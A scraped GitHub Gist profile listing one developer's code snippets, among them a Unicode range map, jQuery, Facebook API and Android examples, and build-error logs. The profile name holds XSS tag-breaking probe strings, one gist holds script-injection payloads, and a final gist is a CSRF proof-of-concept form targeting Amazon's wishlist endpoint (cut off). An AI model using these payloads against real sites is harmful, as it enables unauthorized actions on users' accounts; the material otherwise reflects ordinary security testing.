Skip to content

Instantly share code, notes, and snippets.

View yujikosuga's full-sized avatar
🐈
"'/x/></title></script><x></x\

Yuji Kosuga "'/x=/></script></title><x><x/ yujikosuga

🐈
"'/x/></title></script><x></x\
View GitHub Profile
@yujikosuga
yujikosuga / unicode_range_map.js
Created September 5, 2011 10:11
Unicode code range map
var UNICODE_RANGE_MAP = {
BAIDC_LATIN : [ 0x00, 0x7F ],
LATIN_1_SUPPLEMENT : [ 0x80, 0xFF ],
LATIN_EXTENDED_A : [ 0x100, 0x17F ],
LATIN_EXTENDED_B : [ 0x180, 0x24F ],
IPA_EXTENIONS : [ 0x250, 0x2AF ],
SPACING_MODIFIER_LETTERS : [ 0x2B0, 0x2FF ],
COMBINDING_DIACRITICAL_MARKS : [ 0x300, 0x36F ],
GREEK_AND_COPTIC : [ 0x370, 0x3FF ],
CYRILLIC : [ 0x400, 0x4FF ],
@yujikosuga
yujikosuga / jQueryUI_addUiState.js
Created September 5, 2011 14:01
Add UI state change in jQuery UI (I used this for buttons)
$.fn.addUiState = function() {
$(this).hover(function() {
$(this).addClass("ui-state-hover");
}, function() {
$(this).removeClass("ui-state-hover");
}).mousedown(function() {
$(this).addClass("ui-state-active");
}).mouseup(function() {
$(this).removeClass("ui-state-active");
});
@yujikosuga
yujikosuga / facebook_post_search.js
Created September 13, 2011 10:03
An example of facebook post search with retrieving user profile pictures
var keyword = 'KEYWORD';
FB.api('/search?q=' + keyword + '&type=post', {
limit : 10
}, function(response) {
var content = '';
var data = response.data;
for ( var i in data) {
var icon = '';
var nameSpan = '';
@yujikosuga
yujikosuga / HttpUtils.java
Created September 19, 2011 00:46
An HTTP utility library in Java
package com.yujikosuga.http;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
/**
* This HttpUtils class has static utility methods for HTTP manipulation.
@yujikosuga
yujikosuga / decrease_padding_top_animation.java
Created November 20, 2011 06:37
Android resize animation with no Animation class
/* Decrease the padding top size. */
int update_interval_millis = 25;
int decrease_size_per_interval = 10;
int toSize = 100;
View view;
final Handler handler = new Handler();
Runnable runnable = new Runnable() {
@Override
@yujikosuga
yujikosuga / example_post4a.js
Created December 21, 2011 14:33
An example of post4a.js
<a href="http://www.yujikosuga.com/httpParams.php"
class="post4a"
data-postdata='{"userid":"43ec7d99d05064.98961542", "lang":"en"}'>
HTTP Environment Checker
</a>
@yujikosuga
yujikosuga / erroneous.xml
Created December 22, 2011 01:23
InvalidArtifactRTException thrown in maven-assembly-plugin
<plugin>
<groupid>org.apache.maven.plugins</groupid>
<artifactid>maven-assembly-plugin</artifactid>
<configuration>
<finalname>${project.build.finalName}</finalname>
<descriptorrefs>
<descriptorref>jar-with-dependencies</descriptorref>
</descriptorrefs>
<appendassemblyid>false</appendassemblyid>
</configuration>
@yujikosuga
yujikosuga / error_wdk.txt
Created December 22, 2011 02:21
[WDK] error U1087: cannot have : and :: dependents for the same target
1>c:\winddk\7600.16385.0\bin\makefile.new(7117) : error U1087: cannot have : and :: dependents for same target
1>nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKE DIR_RELATIVE_TO_BASEDIR= failed - rc = 2
BUILD: Finish time: Fri Feb 12 16:04:14 2010
BUILD: Done
0 files compiled - 2 Errors
@yujikosuga
yujikosuga / scriptalert(8)script
Created February 17, 2012 13:41
"'><script>alert(7);//</script>
"'><script>alert(9);//</script>
@yujikosuga
yujikosuga / amazon_csrf.html
Created October 15, 2012 06:43
CSRF on Amazon
<html>
<body>
<form name="form" method="post" action="http://www.amazon.com/gp/registry/wishlist/ref=cm_wl_rlist_create">
<input type="hidden" name="dest-list" value="new-wishlist">
<input type="hidden" name="no-update" value="1">
<input type="hidden" name="movecopy" value="createnew">
<input type="hidden" name="sourceVendorId" value="website.wishlist.profile">
<input type="hidden" name="list-name" value="CSRFed">
<input type="hidden" name="isPrivate" value="N">
<input type="hidden" name="submit.movecopy.x" value="35">